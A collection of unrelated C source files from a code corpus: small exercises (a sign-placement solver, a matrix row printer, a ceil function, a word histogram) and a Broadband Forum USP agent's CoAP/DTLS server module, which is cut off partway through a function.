digits[i - 1] = convert_digit_to_int(ch);
ch = input[i++];
}
int signs = i - 2;
int size = 2;
int solution_index = 0;
long long *solutions = (long long *)malloc(size * sizeof(long long));
long long int possible_solution = pow(2, signs) - 1;
while (possible_solution >= 0 ) {
if (evaluate(expexted_result, digits, possible_solution, signs)) {
if (solution_index == size) {
size *= 2;
solutions = (long long *)realloc(solutions, size * sizeof(long long));
}
solutions[solution_index++] = possible_solution;
}
possible_solution--;
}
if (solution_index == 0) {
printf("-1\n");
return 0;
}
char **strings = (char **)malloc(solution_index * sizeof(char *));
for (int i = 0; i < solution_index; ++i) {
strings[i] = get_solution(digits, solutions[i], signs);
}
qsort(strings, solution_index, sizeof(char *), __cmpfunc);
for (int i = 0; i < solution_index; ++i) {
printf("%s\n", strings[i]);
free(strings[i]);
}
free(strings);
return 0;
}
inline int convert_digit_to_int(char input) {
return input - '0';
}
int evaluate(int result, int digits[], long long signs, int signs_count) {
int sum = digits[0];
for (int i = 0; i < signs_count; ++i) {
int sign = (signs & (1 << i)) >> i;
if (sign == 1) { // +
sum += digits[i + 1];
} else if (sign == 0) { // -
sum -= digits[i + 1];
}
}
return sum == result ? 1 : 0;
}
char * get_solution(int digits[], long long solution, int signs_count) {
char *str = (char *)malloc(100 * sizeof(char));
str[0] = '\0';
int sum = digits[0];
char *tmp;
asprintf(&tmp, "%d", digits[0]);
strcat(str, tmp);
free(tmp);
for (int i = 0; i < signs_count; ++i) {
int sign = (solution & (1 << i)) >> i;
if (sign == 1) { // +
sum += digits[i + 1];
asprintf(&tmp, "+%d", digits[i + 1]);
strcat(str, tmp);
free(tmp);
} else if (sign == 0) { // -
sum -= digits[i + 1];
asprintf(&tmp, "-%d", digits[i + 1]);
strcat(str, tmp);
free(tmp);
}
}
asprintf(&tmp, "=%d", sum);
strcat(str, tmp);
free(tmp);
return str;
}
int __cmpfunc(const void * first, const void *second) {
return -strcmp(*(const char **)first, *(const char **)second);
}
|
the_stack_data/795497.c | #include <stdio.h>
#include <stdlib.h>
void pausar() {
printf("\n Pressione alguma tecla para continuar...");
getch();
}
int main(){
int matriz100x100[100][100], ctLinha, ctColuna, escolha;
ctLinha=1; ctColuna=1;
for(ctLinha=0; ctLinha<100; ctLinha++){
for(ctColuna=0; ctColuna<100; ctColuna++){
matriz100x100[ctLinha][ctColuna] = ctLinha + 1;
}
}
printf("Escolha uma linha da matriz: ");
scanf("%d", &escolha);
for(ctColuna=0; ctColuna<100; ctColuna++){
printf("%d", matriz100x100[escolha-1][ctColuna]);
}
pausar();
return(0);
}
|
the_stack_data/193894254.c | #include <errno.h>
#include <math.h>
/**
* Compute the smallest integral value not less than the argument.
*
* @param x A double value.
* @return The smallest integral value not less than the argument.
*/
double
ceil(double x)
{
// ----------------------------------------------------------
// Code adapted from "The Standard C Library" by P.J. Plauger
// ----------------------------------------------------------
switch (__dtrunc(&x, 0)) {
case FP_NAN:
errno = EDOM;
return x;
case FP_NORMAL:
case FP_SUBNORMAL:
return (x > 0.0) ? x + 1.0 : x;
}
return x;
}
|
the_stack_data/155261.c | #include<stdio.h>
/* Print a horizontal histogram of
* the length of the words in input
*/
#define IN 1 /* Inside a word */
#define OUT 0 /* Outside a word */
main()
{
int c, state;
state = OUT;
while((c = getchar()) != EOF) {
if(c != '\n' && c != '\t' && c != ' ') {
state = IN;
printf("|");
} else if(state == IN) {
state = OUT;
printf("\n");
}
}
}
|
the_stack_data/332775.c | /*
*
* Copyright (C) 2019, Broadband Forum
* Copyright (C) 2017-2019 CommScope, Inc
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
* THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/**
* \file coap_server.c
*
* Implements the server portion of Constrained Application Protocol transport for USP
*
*/
#ifdef ENABLE_COAP // NOTE: This isn't strictly necessary as this file is not included in the build if CoAP is disabled
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <net/if.h>
#include <openssl/ssl.h>
#include <openssl/bio.h>
#include <openssl/err.h>
#include <openssl/rand.h>
#include <openssl/opensslv.h>
#include "common_defs.h"
#include "usp_coap.h"
#include "usp_api.h"
#include "usp-msg.pb-c.h"
#include "msg_handler.h"
#include "os_utils.h"
#include "dllist.h"
#include "dm_exec.h"
#include "retry_wait.h"
#include "usp_coap.h"
#include "text_utils.h"
#include "nu_ipaddr.h"
#include "iso8601.h"
//------------------------------------------------------------------------
// Structure storing the last CoAP response PDU sent. Used to send the same response
typedef struct
{
int message_id; // CoAP message id of the last received PDU that was handled.
unsigned char *pdu_data; // Response that was sent when the last PDU was handled
int len; // Length (in bytes) of the response in pdu_data[]
} pdu_response_t;
//------------------------------------------------------------------------
// Structure representing a CoAP server session
typedef struct
{
int socket_fd; // Socket that we are listening on for USP messages from a controller or INVALID if this slot is not in use
int index; // Index of session in sessions[] array of coap_server_t structure. Used only for debug
SSL *ssl; // SSL connection object used for this CoAP server
BIO *rbio; // SSL BIO used to read DTLS packets
BIO *wbio; // SSL BIO used to write DTLS packets
bool is_first_usp_msg; // Set if this is the first USP request message received since the server was reset.
// This is used as a hint to reset our CoAP client sending the USP response
// (because the request was received on a new DTLS session, the response will likely need to be too)
STACK_OF(X509) *cert_chain; // Full SSL certificate chain for the CoAP connection, collected in the SSL verify callback
char *allowed_controllers; // pattern describing the endpoint_id of controllers which is granted access to this agent
ctrust_role_t role; // role granted by the CA cert in the chain of trust with the CoAP client
nu_ipaddr_t peer_addr; // Current peer that sent the first block. Whilst building up a USP Record, only PDUs from this peer are accepted
uint16_t peer_port; // Port that peer is using to communicate with us
unsigned char token[8]; // Token received in the first block. The server must use the same token for the rest of the blocks.
int token_size;
int block_count; // Count of number of blocks received for the current USP message (ie for current CoAP message token)
int block_size; // Size of the blocks being received. The server must use the same size of all of the blocks making up a USP record.
int last_block_time; // Time at which the last block was received
unsigned char *usp_buf; // Pointer to buffer in which the payload is appended, to form the full USP record
int usp_buf_len; // Length of the USP record buffer
pdu_response_t last_response; // Last CoAP PDU response sent. Used to send the same response if we receive the same CoAP request PDU again
} coap_server_session_t;
//------------------------------------------------------------------------
// Structure representing the CoAP servers that USP Agent exports
typedef struct
{
int instance; // Instance number of the CoAP server in Device.LocalAgent.MTP.{i}, or INVALID if this slot is unused
char interface[IFNAMSIZ]; // Name of network interface that this server if listening to ("any" represents all interfaces)
char listen_addr[NU_IPADDRSTRLEN]; // IP address of network interface that this CoAP server is listening on
int listen_port; // Port that this server is listening on
char *listen_resource; // Name of our resource that the controller sends to
bool enable_encryption; // Set if encryption is enabled for this server
int listen_sock; // Socket listening for new connections, this socket will get moved to one of the CoAP
// sessions when a new packet is received, and a new listening socket will take its place
coap_server_session_t sessions[MAX_COAP_SERVER_SESSIONS]; // concurrent communication sessions with this server
} coap_server_t;
coap_server_t coap_servers[MAX_COAP_SERVERS];
//------------------------------------------------------------------------------------
// SSL context for CoAP (created for use with DTLS)
SSL_CTX *coap_server_ssl_ctx = NULL;
//------------------------------------------------------------------------------
// Defines to support OpenSSL's change of API signature for SSL_CTX_set_cookie_verify_cb() between different OpenSSL versions
#if OPENSSL_VERSION_NUMBER >= 0x1010000FL // SSL version 1.1.0
#define SSL_CONST const
#else
#define SSL_CONST
#endif
//------------------------------------------------------------------------------
// Buffer containing the random secret that our CoAP server puts into cookies
static unsigned char coap_hmac_key[16];
//------------------------------------------------------------------------------
// Variables associated with determining whether the listening IP address of our CoAP server has changed (used by UpdateCoapServerInterfaces)
static time_t next_coap_server_if_poll_time = 0; // Absolute time at which to next poll for IP address change
//------------------------------------------------------------------------------
// Forward declarations. Note these are not static, because we need them in the symbol table for USP_LOG_Callstack() to show them
int StartCoapListenSock(coap_server_t *cs);
void InitCoapSession(coap_server_session_t *css);
coap_server_session_t *FindCoapSession(coap_server_t *cs, nu_ipaddr_t *peer_addr);
void ReceiveCoapBlock(coap_server_t *cs, coap_server_session_t *css);
void StartCoapSession(coap_server_t *cs);
void StopCoapSession(coap_server_session_t *css);
void FreeReceivedUspRecord(coap_server_session_t *css);
unsigned CalcCoapServerActions(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned HandleFirstCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned HandleSubsequentCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp);
unsigned AppendCoapPayload(coap_server_session_t *css, parsed_pdu_t *pp);
int GetPeerAddr(int sock, nu_ipaddr_t *peer_addr, uint16_t *peer_port);
bool IsReplyToValid(coap_server_session_t *css, parsed_pdu_t *pp);
int SendCoapRstFromServer(coap_server_session_t *css, parsed_pdu_t *pp);
int SendCoapAck(coap_server_session_t *css, parsed_pdu_t *pp, unsigned action_flags);
int WriteCoapAck(unsigned char *buf, int len, parsed_pdu_t *pp, unsigned action_flags);
void SaveLastResponsePdu(pdu_response_t *last_resp, int message_id, unsigned char *buf, int len);
coap_server_t *FindUnusedCoapServer(void);
coap_server_t *FindCoapServerByInstance(int instance, char *interface);
coap_server_t *FindFirstCoapServerByInterface(char *interface, bool encryption_preference);
void CalcCoapClassForAck(parsed_pdu_t *pp, unsigned action_flags, int *pdu_class, int *response_code);
void LogRxedCoapPdu(parsed_pdu_t *pp);
int UpdateCoapServerInterfaces(void);
int PerformSessionDtlsConnect(coap_server_session_t *css);
int CalcCoapServerCookie(SSL *ssl, unsigned char *buf, unsigned int *p_len);
int VerifyCoapServerCookie(SSL *ssl, SSL_CONST unsigned char *buf, unsigned int len);
/*********************************************************************//**
**
** COAP_SERVER_Init
**
** Initialises this component
**
** \param None
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Init(void)
{
int i;
coap_server_t *cs;
// Initialise the CoAP server array
memset(coap_servers, 0, sizeof(coap_servers));
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
cs->instance = INVALID;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_InitStart
**
** Creates the SSL contexts used by this module
**
** \param None
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_InitStart(void)
{
int result;
// Calculate a random hmac key which will be used by our CoAP server when generating DTLS cookies
result = RAND_bytes(coap_hmac_key, sizeof(coap_hmac_key));
if (result != 1)
{
USP_LOG_Error("%s: RAND_bytes() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Create the DTLS server SSL context with trust store and client cert loaded
coap_server_ssl_ctx = DEVICE_SECURITY_CreateSSLContext(DTLS_server_method(),
SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE /*| SSL_VERIFY_FAIL_IF_NO_PEER_CERT*/,
DEVICE_SECURITY_TrustCertVerifyCallback);
if (coap_server_ssl_ctx == NULL)
{
return USP_ERR_INTERNAL_ERROR;
}
// Set the DTLS cookie functions for the CoAP server (only the server uses these)
SSL_CTX_set_cookie_generate_cb(coap_server_ssl_ctx, CalcCoapServerCookie);
SSL_CTX_set_cookie_verify_cb(coap_server_ssl_ctx, VerifyCoapServerCookie);
SSL_CTX_set_session_cache_mode(coap_server_ssl_ctx, SSL_SESS_CACHE_OFF);
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_Destroy
**
** Frees all memory used by this component
**
** \param None
**
** \return None
**
**************************************************************************/
void COAP_SERVER_Destroy(void)
{
int i;
coap_server_t *cs;
// Free all CoAP servers
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
COAP_SERVER_Stop(cs->instance, cs->interface, NULL);
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_Start
**
** Starts a CoAP Server on the specified interface and port
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on ("any" indicates listen on all interfaces)
** \param config - Configuration for CoAP server: port, resource and whether encryption is enabled
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Start(int instance, char *interface, coap_config_t *config)
{
int j;
coap_server_t *cs;
coap_server_session_t *css;
int err = USP_ERR_OK;
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
USP_ASSERT(FindCoapServerByInstance(instance, interface)==NULL);
// Exit if unable to find a free CoAP server slot
cs = FindUnusedCoapServer();
if (cs == NULL)
{
USP_LOG_Error("%s: Out of CoAP servers when trying to add CoAP server for interface=%s, port %d", __FUNCTION__, interface, config->port);
err = USP_ERR_RESOURCES_EXCEEDED;
goto exit;
}
// Initialise the coap server structure, marking it as in-use
memset(cs, 0, sizeof(coap_server_t));
cs->instance = instance;
USP_STRNCPY(cs->interface, interface, sizeof(cs->interface));
cs->listen_port = config->port;
cs->listen_resource = USP_STRDUP(config->resource);
cs->enable_encryption = config->enable_encryption;
// Mark all sockets and CoAP sessions as not in use yet
cs->listen_sock = INVALID;
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
css->socket_fd = INVALID;
css->index = j;
}
USP_LOG_Info("%s: Starting CoAP server on interface=%s, port=%d (%s), resource=%s", __FUNCTION__, interface, cs->listen_port, IS_ENCRYPTED_STRING(cs->enable_encryption), cs->listen_resource);
// Start the server, ignoring any errors, as UpdateCoapServerInterfaces() will retry later
(void)StartCoapListenSock(cs);
err = USP_ERR_OK;
exit:
COAP_UnlockMutex();
// Cause the MTP thread to wakeup from select() so that timeouts get recalculated based on the new state
// We do this outside of the mutex lock to avoid an unnecessary task switch
if (err == USP_ERR_OK)
{
MTP_EXEC_CoapWakeup();
}
return err;
}
/*********************************************************************//**
**
** COAP_SERVER_Stop
**
** Stops all matching CoAP Servers
** NOTE: It is safe to call this function, if the instance has already been stopped
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
** \param interface - Name of network interface to listen on ("any" indicates listen on all interfaces)
** \param unused - input argumentto make the signature of this function the same as COAP_StartServer
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int COAP_SERVER_Stop(int instance, char *interface, coap_config_t *unused)
{
int i;
coap_server_t *cs;
coap_server_session_t *css;
USP_LOG_Info("%s: Stopping CoAP server [%d]", __FUNCTION__, instance);
(void)unused; // Prevent compiler warnings about unused variables
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
// Exit if the Coap server has already been stopped - nothing more to do
cs = FindCoapServerByInstance(instance, interface);
if (cs == NULL)
{
COAP_UnlockMutex();
return USP_ERR_OK;
}
// Free all dynamically allocated buffers
USP_SAFE_FREE(cs->listen_resource);
// Close all session sockets and any associated SSL, BIO objects and buffers
for (i=0; i<MAX_COAP_SERVER_SESSIONS; i++)
{
css = &cs->sessions[i];
StopCoapSession(css);
}
// Put back to init state
memset(cs, 0, sizeof(coap_server_t));
cs->instance = INVALID;
COAP_UnlockMutex();
// Cause the MTP thread to wakeup from select() so that timeouts get recalculated based on the new state
// We do this outside of the mutex lock to avoid an unnecessary task switch
MTP_EXEC_CoapWakeup();
return USP_ERR_OK;
}
/*********************************************************************//**
**
** COAP_SERVER_GetStatus
**
** Function called to get the value of Device.LocalAgent.MTP.{i}.Status
**
** \param instance - instance number in Device.LocalAgent.MTP.{i} for this server
**
** \return Status of this CoAP server
**
**************************************************************************/
mtp_status_t COAP_SERVER_GetStatus(int instance)
{
coap_server_t *cs;
mtp_status_t status;
COAP_LockMutex();
// Exit if MTP thread has exited
if (is_coap_mtp_thread_exited)
{
COAP_UnlockMutex();
return kMtpStatus_Down;
}
// Exit if we cannot find a CoAP server with this instance - creation of the server had previously failed
cs = FindCoapServerByInstance(instance, NULL);
if (cs == NULL)
{
status = kMtpStatus_Down;
goto exit;
}
// If creation of the server had previously completed, then this CoAP server is up and running
status = kMtpStatus_Up;
exit:
COAP_UnlockMutex();
return status;
}
/*********************************************************************//**
**
** COAP_SERVER_UpdateAllSockSet
**
** Updates the set of all COAP socket fds to read/write from
**
** \param set - pointer to socket set structure to update with sockets to wait for activity on
**
** \return None
**
**************************************************************************/
void COAP_SERVER_UpdateAllSockSet(socket_set_t *set)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
int timeout; // timeout in milliseconds
// Determine whether IP address of any of CoAP servers has changed (if time to poll it)
timeout = UpdateCoapServerInterfaces();
SOCKET_SET_UpdateTimeout(timeout*SECONDS, set);
// Iterate over all CoAP servers
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
// Add the socket listening for new connections
if (cs->listen_sock != INVALID)
{
SOCKET_SET_AddSocketToReceiveFrom(cs->listen_sock, MAX_SOCKET_TIMEOUT, set);
}
// Iterate over all existing sessions on this interface
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
SOCKET_SET_AddSocketToReceiveFrom(css->socket_fd, MAX_SOCKET_TIMEOUT, set);
}
}
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_ProcessAllSocketActivity
**
** Processes the socket for the specified controller
**
** \param set - pointer to socket set structure containing the sockets which need processing
**
** \return Nothing
**
**************************************************************************/
void COAP_SERVER_ProcessAllSocketActivity(socket_set_t *set)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
// Service all CoAP server sockets (these receive CoAP BLOCK packets from the controller)
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
// Service existing connections
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
if (SOCKET_SET_IsReadyToRead(css->socket_fd, set))
{
ReceiveCoapBlock(cs, css);
}
}
}
// Accept new connections
// We do this after servicing sessions, because we don't want the socket to block when it is added to the session, because it's already been serviced here
if (cs->listen_sock != INVALID)
{
if (SOCKET_SET_IsReadyToRead(cs->listen_sock, set))
{
StartCoapSession(cs);
}
}
}
}
}
/*********************************************************************//**
**
** COAP_SERVER_AreNoOutstandingIncomingMessages
**
** Determines whether there are no outstanding incoming messages
**
** \param None
**
** \return true if no outstanding incoming messages
**
**************************************************************************/
bool COAP_SERVER_AreNoOutstandingIncomingMessages(void)
{
int i, j;
coap_server_t *cs;
coap_server_session_t *css;
// Iterate over all CoAP servers, seeing if any are currently receiving messages
for (i=0; i<MAX_COAP_SERVERS; i++)
{
cs = &coap_servers[i];
if (cs->instance != INVALID)
{
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->usp_buf_len != 0)
{
return false;
}
}
}
}
// If the code gets here, then there are no outstanding incoming messages
return true;
}
/*********************************************************************//**
**
** StartCoapListenSock
**
** Starts a listening socket on the specified CoAP Server
**
** \param cs - pointer to coap server
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int StartCoapListenSock(coap_server_t *cs)
{
nu_ipaddr_t nu_intf_addr;
struct sockaddr_storage saddr;
socklen_t saddr_len;
sa_family_t family;
int result;
int err;
bool prefer_ipv6;
int enable = 1;
int sock = INVALID;
// Get preference for IPv4 or IPv6 WAN address (in case of Dual Stack CPE)
prefer_ipv6 = DEVICE_LOCAL_AGENT_GetDualStackPreference();
// Exit if unable to get current IP address for specified network interface
err = tw_ulib_get_dev_ipaddr(cs->interface, cs->listen_addr, sizeof(cs->listen_addr), prefer_ipv6);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: CoAP server's listening interface on %s is down. Retrying later", __FUNCTION__, cs->interface);
goto exit;
}
// Exit if unable to convert the interface address into an nu_ipaddr structure
err = nu_ipaddr_from_str(cs->listen_addr, &nu_intf_addr);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Unable to convert IP address (%s)", __FUNCTION__, cs->interface);
goto exit;
}
// Exit if unable to make a socket address structure to bind to
err = nu_ipaddr_to_sockaddr(&nu_intf_addr, cs->listen_port, &saddr, &saddr_len);
if (err != USP_ERR_OK)
{
goto exit;
}
// Exit if unable to determine which address family to use when creating the listening socket
err = nu_ipaddr_get_family(&nu_intf_addr, &family);
if (err != USP_ERR_OK)
{
goto exit;
}
// Exit if unable to create the listening socket
USP_ASSERT(INVALID == -1);
sock = socket(family, SOCK_DGRAM, 0);
if (sock == INVALID)
{
USP_ERR_ERRNO("socket", errno);
err = USP_ERR_INTERNAL_ERROR;
goto exit;
}
// Exit if unable to reuse the same port
// This is necessary because new sessions are listened for from any peer, but existing sessions may be connected to specific peer sockets
err = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable));
if (err != 0)
{
USP_ERR_ERRNO("setsockopt", errno);
err = USP_ERR_INTERNAL_ERROR;
close(sock);
goto exit;
}
// Exit if unable to bind to the required network interface
result = bind(sock, (struct sockaddr *) &saddr, saddr_len);
if (result != 0)
{
USP_ERR_ERRNO("bind", errno);
err = USP_ERR_INTERNAL_ERROR;
close(sock);
goto exit;
}
// If the code gets here, then the listening socket was started successfully
cs->listen_sock = sock;
err = USP_ERR_OK;
exit:
// If an error occurred, mark the server as not listening on any address, this will cause UpdateCoapServerInterfaces()
// to periodically try to restart the server, when the interface has an IP address
if (err != USP_ERR_OK)
{
cs->listen_addr[0] = '\0';
if (sock != INVALID)
{
close(sock);
}
}
return err;
}
/*********************************************************************//**
**
** StartCoapSession
**
** Called after receiving a CoAP PDU on the listening socket, to start a new session for it
**
** \param cs - pointer to coap server
**
** \return None
**
**************************************************************************/
void StartCoapSession(coap_server_t *cs)
{
int err;
coap_server_session_t *css;
nu_ipaddr_t peer_addr;
uint16_t peer_port;
struct sockaddr_storage saddr;
socklen_t saddr_len;
char buf[NU_IPADDRSTRLEN];
// Exit if unable to determine the address of the peer sending a CoAP PDU
err = GetPeerAddr(cs->listen_sock, &peer_addr, &peer_port);
if (err != USP_ERR_OK)
{
// Restart the listening socket, if an error occurred whilst getting the peer address
// (as this would have been caused by an error on the listening socket)
close(cs->listen_sock);
cs->listen_sock = INVALID;
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
return;
}
// Find a CoAP session slot, possibly killing an existing session if one is not free otherwise
css = FindCoapSession(cs, &peer_addr);
USP_ASSERT(css != NULL)
// Initialise the new session
InitCoapSession(css);
// Move the listening socket into this session
css->socket_fd = cs->listen_sock;
cs->listen_sock = INVALID;
// Create a new listening socket to replace the one we moved to the session
StartCoapListenSock(cs); // NOTE: We can ignore any errors, as UpdateCoapServerInterfaces() will retry later
// Convert peer address and port to a sockaddr structure
err = nu_ipaddr_to_sockaddr(&peer_addr, peer_port, &saddr, &saddr_len);
USP_ASSERT(err == USP_ERR_OK);
// Exit if unable to explicitly connect the session socket to the remote peer
err = connect(css->socket_fd, (struct sockaddr *) &saddr, saddr_len);
if (err != 0)
{
USP_ERR_ERRNO("connect", errno);
StopCoapSession(css);
return;
}
// Store the peer's IP address and port in the session structure
USP_PROTOCOL("%s: Accepting %s CoAP session from %s, port %d (using session %d)", __FUNCTION__, IS_ENCRYPTED_STRING(cs->enable_encryption), nu_ipaddr_str(&peer_addr, buf, sizeof(buf)), peer_port, css->index);
memcpy(&css->peer_addr, &peer_addr, sizeof(peer_addr));
css->peer_port = peer_port;
css->role = ROLE_NON_SSL; // This role will be overridden if the DTLS handshake is performed
// Perform DTLS handshake
if (cs->enable_encryption)
{
err = PerformSessionDtlsConnect(css);
if (err != USP_ERR_OK)
{
StopCoapSession(css);
}
}
}
/*********************************************************************//**
**
** InitCoapSession
**
** Initialises the CoAP session structure
**
** \param css - pointer to structure describing coap session
**
** \return None
**
**************************************************************************/
void InitCoapSession(coap_server_session_t *css)
{
pdu_response_t *last_resp;
css->socket_fd = INVALID;
css->ssl = NULL;
css->rbio = NULL;
css->wbio = NULL;
css->is_first_usp_msg = true;
css->cert_chain = NULL;
css->allowed_controllers = NULL;
css->role = ROLE_DEFAULT; // Set default role, if not determined from SSL certs
memset(&css->peer_addr, 0, sizeof(css->peer_addr));
css->peer_port = INVALID;
memset(&css->token, 0, sizeof(css->token));
css->token_size = 0;
css->block_count = 0;
css->block_size = 0;
css->last_block_time = time(NULL);
css->usp_buf = NULL;
css->usp_buf_len = 0;
last_resp = &css->last_response;
last_resp->message_id = INVALID;
last_resp->len = 0;
last_resp->pdu_data = NULL;
}
/*********************************************************************//**
**
** GetPeerAddr
**
** Gets the address of the peer that sent a packet on the specified socket
**
** \param sock - socket that has a packet from a peer
** \param peer_addr - pointer to structure in which to return the IP address of the peer that sent the packet
** \param peer_port - pointer to variable in which to return the IP port that the packet was sent from
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int GetPeerAddr(int sock, nu_ipaddr_t *peer_addr, uint16_t *peer_port)
{
struct sockaddr_storage saddr;
socklen_t saddr_len;
int len;
int err;
unsigned char buf[1];
// Exit if unable to peek the peer's address
memset(&saddr, 0, sizeof(saddr));
saddr_len = sizeof(saddr);
len = recvfrom(sock, buf, sizeof(buf), MSG_PEEK, (struct sockaddr *) &saddr, &saddr_len);
if (len == -1)
{
USP_ERR_ERRNO("recv", errno);
return USP_ERR_INTERNAL_ERROR;
}
// Exit if unable to convert sockaddr structure to IP address and port used by controller that sent us this PDU
err = nu_ipaddr_from_sockaddr_storage(&saddr, peer_addr, peer_port);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: nu_ipaddr_from_sockaddr_storage() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** FindCoapSession
**
** Gets a new CoAP session on which to process the new PDU
** NOTE: This function may shutdown an unused session in order to achieve this
**
** \param cs - pointer to coap server
** \param peer_addr - IP address of peer that is starting a new session
**
** \return pointer to coap session
**
**************************************************************************/
coap_server_session_t *FindCoapSession(coap_server_t *cs, nu_ipaddr_t *peer_addr)
{
int j;
coap_server_session_t *css;
time_t cur_time;
int score;
int max_score = 0;
coap_server_session_t *chosen_css = NULL;
// Exit if there is an existing unused session
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd == INVALID)
{
return css;
}
}
// Iterate over all existing sessions, choosing the one with the highest score
cur_time = time(NULL);
for (j=0; j<MAX_COAP_SERVER_SESSIONS; j++)
{
css = &cs->sessions[j];
if (css->socket_fd != INVALID)
{
// Choose to reuse sessions with longest inactive time
#define MAX_INACTIVE_TIME 3600 // Maximum amount of time before we consider the session to be completely inactive
USP_ASSERT(css->last_block_time > (time_t)0);
score = cur_time - css->last_block_time;
if (score > MAX_INACTIVE_TIME)
{
score = MAX_INACTIVE_TIME;
}
// Prioritize reuse of sessions with the same peer
if (memcmp(peer_addr, &css->peer_addr, sizeof(css->peer_addr))==0)
{
score += MAX_INACTIVE_TIME+1;
}
if (score >= max_score) // NOTE: Use >=, so that it always finds at least one match (even if score==0)
{
max_score = score;
chosen_css = css;
}
}
}
// Stop the existing session
USP_ASSERT(chosen_css != NULL);
StopCoapSession(chosen_css);
return chosen_css;
}
/*********************************************************************//**
**
** PerformSessionDtlsConnect
**
** Function called to perform the DTLS Handshake when receiving from a controller
** This is called only after our CoAP server receives a packet
**
** \param css - pointer to structure describing coap session
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int PerformSessionDtlsConnect(coap_server_session_t *css)
{
int result;
int err;
struct sockaddr_storage saddr;
struct timeval timeout;
// Exit if unable to create an SSL object
css->ssl = SSL_new(coap_server_ssl_ctx);
if (css->ssl == NULL)
{
USP_LOG_Error("%s: SSL_new() failed", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Set the pointer to the variable in which to point to the certificate chain collected in the verify callback
SSL_set_app_data(css->ssl, &css->cert_chain);
// Exit if unable to create a read BIO
css->rbio = BIO_new_dgram(css->socket_fd, BIO_NOCLOSE);
if (css->rbio == NULL)
{
USP_LOG_Error("%s: Unable to create read BIO", __FUNCTION__);
SSL_free(css->ssl);
css->ssl = NULL;
return USP_ERR_INTERNAL_ERROR;
}
// Exit if unable to create a write BIO
css->wbio = BIO_new_dgram(css->socket_fd, BIO_NOCLOSE);
if (css->wbio == NULL)
{
USP_LOG_Error("%s: Unable to create write BIO", __FUNCTION__);
BIO_free(css->rbio);
SSL_free(css->ssl);
css->ssl = NULL;
